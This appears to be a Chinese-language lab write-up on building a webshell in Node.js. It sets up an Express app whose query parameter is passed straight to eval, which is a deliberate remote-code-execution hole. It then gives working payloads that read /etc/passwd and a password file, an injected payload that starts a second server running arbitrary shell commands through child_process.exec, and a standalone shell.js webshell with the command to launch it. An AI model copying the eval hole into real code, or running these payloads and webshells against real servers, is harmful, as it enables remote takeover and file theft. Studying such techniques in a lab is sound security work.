最近在进行webshell研究,发现除了常规的PHP,jsp,asp等后缀的webshell之外,还可能存在js的webshell,这里做个记录。
环境
靶机:
- Windows 10
- nodejs
攻击机:
- Windows 10
环境搭建
下载nodejs,直接在靶机双击安装即可,安装完成可以使用命令验证一下:
node -v
出现版本号就表示安装成功
然后执行命令新建项目:
npm init
会出现一些选项,其中的package_name是项目名称,其他的默认即可:
然后进入项目目录,安装express框架:
npm i express --save
完事之后,新建TXT文件,复制粘贴以下内容:
var express = require('express');
var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output'+resp);
});
app.listen(8001);
然后保存,重命名文件为app.js
,放入项目目录中
然后进入项目目录,运行以下命令启动服务:
node app.js
然后输入网址http://靶机ip:8001?input=222
即可查看
nodejs漏洞验证
这里可以将input参数的值换成js代码,通过源代码中的eval
即可执行代码:
http://127.0.0.1:8001/?input=res.end(require('fs').readFileSync('/etc/passwd').toString())
但本文使用的是Windows系统,因此改为:
http://192.168.80.136:8001/?input=res.end(require('fs').readFileSync('../password.txt').toString())
表明读取其上层目录下的password.txt
文件内容
websell创建
可以通过该漏洞构建一个新的web服务器当做webshell使用,将input字段值替换为:
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)
然后在浏览器访问后,静等8秒,访问地址http://靶机ip:8002?cmd=whoami
,即可看到命令运行成功:
也可以将该webshell打包成一个js文件,文件内容为:
require('http').createServer(function (req, res) {
res.writeHead(200, {"Content-Type": "text/plain"});
try {
require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {
res.end(s);
});
} catch (err) {
console.log(err)
res.end(err.toString())
}
}).listen(8002)
然后上传文件,使用以下命令替换input字段上线该webshell:
require('child_process').exec('node shell.js')
然后就可以任意命令执行了,例如:
http://192.168.80.136:8002/?cmd=calc.exe
可以看到靶机的计算器被唤起:
也可以查看其网络状态:
亦或是查看服务器上的文件:
不过目前亲测冰蝎、哥斯拉、蚁剑无法通过该URL进行连接。
参考资料
- Pentesting Node.js Application : Nodejs Application Security
- 通过nodeJs中eval关键字打造一款管理nodeJS后门的菜刀